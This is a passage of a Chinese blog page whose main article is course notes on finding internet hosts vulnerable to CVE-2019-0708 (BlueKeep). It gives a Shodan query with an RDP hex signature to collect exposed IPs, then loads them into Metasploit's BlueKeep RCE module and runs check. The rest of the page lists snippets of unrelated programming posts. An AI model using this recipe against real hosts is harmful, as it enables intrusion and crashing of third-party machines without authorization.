当前位置：首页 > news >正文

shodan2-批量查找CVE-2019-0708漏洞

news 2026/2/8 12:33:59

声明！
学习视频来自B站up主泷羽sec 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关，切勿触碰法律底线，否则后果自负！！！！

批量查找CVE-2019-0708漏洞

简述：

漏洞利用方式是通过远程桌面端口3389，RDP协议进行攻击的，导致机器蓝屏瘫痪。

输入命令：

shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'

用16进制是因为shodan search vuln:cve -2019-0708 命令对于学术账号无权限使用，需要注册更高一级账户

查到ip和对应端口后，通过 shodan host ip 来验证是否存在该漏洞，如下所示，这个ip则存在CVE-2019-0708漏洞

扫描下来的ip可以放到文档里（注意把端口删掉），利用windows自带远程桌面连接尝试连接

回到kali，输入msfconsole，再输入search 0708 查找此漏洞

输入以下命令启用这个模块

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

输入show options显示选项

然后输入 set rhosts file: 上述存放ip的文档路径

这里可以直接把文件托进命令面板

再输入check检查，带* 号的不能利用，带+号的可以利用

输入show targets可以查看利用的版本

输入exit退出

shodan2-批量查找CVE-2019-0708漏洞

声明！ 学习视频来自B站up主泷羽sec 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关&#…...

编程日记 2024/12/5 1:25:53

面向对象(二)——类和对象(上)

1 类的定义做了关于对象的很多介绍，终于进入代码编写阶段。本节中重点介绍类和对象的基本定义，属性和方法的基本使用方式。【示例】类的定义方式 // 每一个源文件必须有且只有一个public class，并且类名和文件名保持一致！ …...

编程日记 2024/12/5 1:24:52

Redis3——线程模型与数据结构

Redis3——线程模型与数据结构本文讲述了redis的单线程模型和IO多线程工作原理，以及几个主要数据结构的实现。 1. Redis的单线程模型 redis6.0之前，一个redis进程只有一个io线程，通过reactor模式可以连接大量客户端；redis6.0为了…...

编程日记 2024/12/5 1:16:37

linux 获取公网流量 tcpdump + python + C++

前言需求为，统计linux上得上下行公网流量，常规得命令如iftop 、sar、ifstat、nload等只能获取流量得大小，不能区分公私网，所以需要通过抓取网络包并排除私网段才能拿到公网流量。下面提供了一些有效得解决思路，提供了…...

编程日记 2024/12/5 1:11:32

C++知识整理day3类与对象（下）——赋值运算符重载、取地址重载、列表初始化、友元、匿名对象、static

文章目录 1.赋值运算符重载1.1 运算符重载1.2 赋值运算符重载 2.取地址重载2.1 const成员函数2.2 取地址运算符重载 3.类与对象的补充3.1 再探构造函数---初始化列表3.2 类型转换3.3 static成员3.4 友元3.5 内部类3.6 匿名对象3.7 对象拷贝时的编译器优化 1.赋值运算符重载赋…...

编程日记 2024/12/5 1:10:31

一、excel数据驱动 excel文件内容 excel数据驱动使用方法 import openpyxl import pytestdef get_excel():excel_obj openpyxl.load_workbook("../pytest结合数据驱动-excel/data.xlsx")sheet_obj excel_obj["Sheet1"]values sheet_obj.valuescase_li…...

编程日记 2024/12/5 1:08:29

python蓝桥杯刷题3

1.解方程组解题解：首先让a，b，c进行遍历，然后计算得到1000时输出结果，其次考虑1000开根号是多大，计算得到32的倍数是1024，所有选择（1，32）进行遍历&#xff0c…...

编程日记 2024/12/5 1:05:22

基于PySpark 使用线性回归、随机森林以及模型融合实现天气预测

基于PySpark 实现天气预测与模型集成在大数据分析与机器学习领域，Spark 提供了强大的计算能力和灵活的扩展性。本文将介绍如何利用 PySpark 完成以下任务： 1、数据预处理：清洗和编码天气数据。 2、特征工程：合并数值和分类特征…...

编程日记 2024/12/5 1:03:20

Day 30 贪心算法 part04

今天的三道题目，都算是重叠区间问题，大家可以好好感受一下。都属于那种看起来好复杂，但一看贪心解法，惊呼：这么巧妙！这种题还是属于那种，做过了也就会了，没做过就很难想出来。不过大家把如下三题做了之后，重叠区间基本上差不多了 452. 用最少数量的箭引爆气球…...

编程日记 2024/12/5 1:02:17

dns实验3：主从同步-完全区域传输

服务器192.168.234.111（主服务器），打开配置文件： 打开配置文件： 关闭防火墙，改宽松模式： 重启服务： 服务器192.168.234.112（从服务器），打开配置文…...

编程日记 2024/12/5 0:57:12

数据结构（20）二叉树的遍历与线索化

一、二叉树的遍历遍历是对树的一种最基本的运算，所谓遍历二叉树，就是按一定的规则和顺序走遍二叉树的所有节点，使每一个节点都被访问一次，而且只被访问一次。二叉树的遍历方式主要有四种：前序遍历、中序遍历、后序遍历…...

编程日记 2024/12/5 0:56:11

【docker】Overlay网络

什么是 Overlay 网络？ Overlay 网络是一种 Docker 网络驱动，允许容器在不同主机间通信。它依赖分布式存储（如 Swarm、Etcd 或 Consul）来管理网络配置和路由。 Overlay 网络的核心特点跨主机通信：容器可以跨物理主…...

编程日记 2024/12/5 0:54:08

基于智能语音交互的智能呼叫中心工作机制

在智能化和信息化不断进步的现代，智能呼叫中心为客户提供高质量、高效率的服务体验，提升众多品牌用户的满意度和忠诚度。作为实现智能呼叫中心的关键技术之一的智能语音交互技术，它通过集成自然语言处理（NLP）、语音识别…...

编程日记 2024/12/5 0:53:06

Linux条件变量线程池详解

一、条件变量【互斥量】解决了线程间同步的问题，避免了多线程对同一块临界资源访问产生的冲突，但同一时刻对临界资源的访问，不论是生产者还是消费者，都需要竞争互斥锁，由此也带来了竞争的问题。即生产者和消费者、消费…...

编程日记 2024/12/5 0:52:06

有趣的Docker

👉【腾讯云】云服务器、云数据库、COS、CDN、短信等云产品特惠热卖中 1. Docker 上的“全世界”命令行你可以在 Docker 容器中运行一个模拟的 “世界地图”，并通过命令行与它互动。这是一个非常有趣的项目，结合了命令行和图形界面的交互。…...

编程日记 2024/12/5 0:48:02

深入探讨锁升级问题

1. 引言本文深入探讨锁升级问题。 2. 锁升级问题概述 2.1 锁升级的概念 2.1.1 定义锁升级是指数据库管理系统将较低粒度的锁（如行级锁）转换为较高粒度的锁（如表级锁）的过程。这种情况通常发生在事务对同一对象的多个较低粒…...

编程日记 2024/12/5 0:47:01

MySQL篇—通过官网下载linux系统下多种安装方式的MySQL社区版软件

💫《博主介绍》：✨又是一天没白过，我是奈斯，DBA一名✨ 💫《擅长领域》：✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux，也在扩展大数据方向的知识面✌️…...

编程日记 2024/12/5 0:35:46

6.824/6.5840(2024)环境配置wsl2+vscode

本文是经过笔者实践得出的最速の环境配置首先，安装wsl2和vscode 具体步骤参见Mit6.s081环境配置踩坑之旅WSL2VScode_mit6s081-CSDN博客接下来开始为Ubuntu(笔者使用的版本依然是20.04)配置go的相关环境 1、更新Ubuntu的软件包 sudo apt-get install build-es…...

编程日记 2024/12/5 0:31:42

【乐企文件生成工程】搭建docker环境，使用docker部署工程

1、自行下载docker 2、自行下载docker-compose 3、编写Dockerfile文件 # 使用官方的 OpenJDK 8 镜像 FROM openjdk:8-jdk-alpine# 设置工作目录 WORKDIR ./app# 复制 JAR 文件到容器 COPY ../lq-invoice/target/lq-invoice.jar app.jar # 暴露应用程序监听的端口 EXPOSE 1001…...

编程日记 2024/12/5 0:30:41

常见的数据结构---队列、树与堆的深入剖析

目录一、队列二、树三、堆在现代计算机科学与工程领域，队列、树和堆是三种极其重要的基础数据结构，它们各自具有独特的特点和应用。在日常开发中，合理选择和使用这些数据结构可以显著提高程序的效率和可维护性。它们不仅奠定了算法设计…...

编程日记 2024/12/5 0:29:40

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板，载入页面后，会显示引导弹窗，适用于引导用户使用页面，点击完成后，会显示下一个引导弹窗，直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

编程新知 2026/2/8 4:37:29

Python：操作 Excel 折叠

💖亲爱的技术爱好者们，热烈欢迎来到 Kant2048 的博客！我是 Thomas Kant，很开心能在CSDN上与你们相遇～💖 本博客的精华专栏：【自动化测试】【测试经验】【人工智能】【Python】 Python 操作 Excel 系列读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

编程新知 2026/1/30 20:05:06